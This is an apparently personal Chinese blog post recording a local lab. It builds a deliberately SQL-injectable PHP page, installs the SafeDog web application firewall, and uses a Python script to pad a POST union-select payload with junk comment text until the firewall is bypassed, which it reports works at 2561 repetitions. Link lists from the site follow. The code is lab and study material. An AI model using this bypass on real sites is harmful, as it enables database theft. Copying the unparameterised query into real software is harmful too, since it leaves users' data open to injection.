搭建简单的sql注入环境

在test数据库中创建sqltest表,插入字段数据

编写存在注入的php文件

<?php

$id = $_REQUEST['uid'];

echo "您当前执行的sql语句为:" ;
echo "select * from sqltest where id=" . $id . "<br/>";
echo "<hr>"; $mysqli = new mysqli('127.0.0.1','root','root','test'); if(mysqli_connect_errno()){
printf("连接失败:%s<br>",mysqli_connect_error());
exit();
}
$mysqli->set_charset("utf8"); $result = $mysqli->query("select * from sqltest where id=$id");
//print_r($result->fetch_array(MYSQLI_ASSOC)); while(list($id,$username,$password)=$result->fetch_row()){
echo "用户ID:" . $id . "<br/>";
echo "用户名:" . $username . "<br/>";
echo "用户密码:" . $password . "<br/>";
} $result->close();
$mysqli->close();

或者老版写法

<?php

$id = $_REQUEST['uid'];

$conn = @mysql_connect('127.0.0.1','root','root');  //这里使用@符号屏蔽出错信息
mysql_select_db('test',$conn); $sql = "select * from sqltest where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:" . $row['id'] . "<br/>";
echo "用户名:" . $row['username'] . "<br/>";
echo "用户密码:" . $row['password'] . "<br/>";
} mysql_close($conn);
echo "<hr>";
echo "您当前执行的sql语句为:" ;
echo $sql; ?>  

执行看下结果

安装安全狗

服务器名解决方法来自https://blog.csdn.net/nzjdsds/article/details/93740686

httpd.exe -k install -n apache2.

如果要删除服务重新来,可以输下面这个,给你留着备用
sc delete apache2.

bypass测试

可以用0=0和'-'判断字符数字型

因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理

get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符并检测是否绕过waf,我们的payload  1 /*无用的字符*/  union select user(),2

import requests
url = "http://192.168.41.129/index.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
}
try:
for i in range(100,2999):
st = "/*"+"ABC"*i+"*/ union select user(),2,3"
data={
"uid":"1 %s " %st
}
print(i)
res= requests.post(url,headers=headers,data=data).text
print(data)
print(res)
if res.find("root")!=-1:
print(i)
break
except:
print('终止执行')  

我这里在2561时候可以注出数据

其实可以发现安全狗对于post的过滤不严,对于get的过滤比较严格

没有绕过的部分,都是返回500。应该是安全狗的post规则中的过滤。

而get类型中的规则的过滤地方不同。

可以看出对于post过滤不严,对于get过滤严格。

我这里测试可以通过2561个ABC绕过,放入burp中尝试

验证失败

然后我又加了很多ABC测试发现可以绕过

绕过成功,这个版本比文章中的版本更高点。仍然可以绕过。

最好在源码里加上header("Content-type:text/html;charset=utf8");  防止乱码

学习文章:

https://bbs.ichunqiu.com/thread-54014-1-1.html

最新文章

  1. strtok源码 bitset 空间压缩
  2. 多栏多列布局(display:flex)
  3. 电改:OPower资料调研
  4. Ubuntu 14.04 (Trusty Tahr) LTS发布,附下载地址,各种镜像【bubuko.com】
  5. foreach 和 for 循环的区别
  6. Hadoop之 hdfs 系统
  7. Lazy Makes Others Busy – a bad experience with DLL
  8. Noah的学习笔记之Python篇:函数“可变长参数”
  9. linux下查看所有用户及所有用户组
  10. Android 一个抽奖应用的逆向破解全流程之加固自己应用
  11. HTML5之多媒体
  12. makefile中&quot;:=&quot;,&quot;=&quot;,&quot;?=&quot;,&quot;+=&quot; 之间的区别
  13. 《java入门第一季》之Date类案例,算一算你的恋爱纪念日
  14. shell初识
  15. Abaqus用Dload子程序实现移动载荷
  16. 用svg绘制圣诞帽
  17. 创建dblink
  18. vue-cli脚手架
  19. 用Python实现Excel的读写
  20. 1-2-编译U-boot

热门文章

  1. C语言自学网官方微信相关功能使用方法
  2. OSLab:开启保护模式
  3. 使用TensorFlow v2.0构建多层感知器
  4. HTTP下午茶 - 小白入门书
  5. 那些年,我们追过的java8
  6. 2.1.JVM的垃圾回收机制,判断对象是否死亡
  7. 宝塔phpmyadmin可能问题及解决方法
  8. ovirt 替换自主签署证书
  9. 基于Java的数字货币交易系统的架构设计与开发
  10. C 神奇项链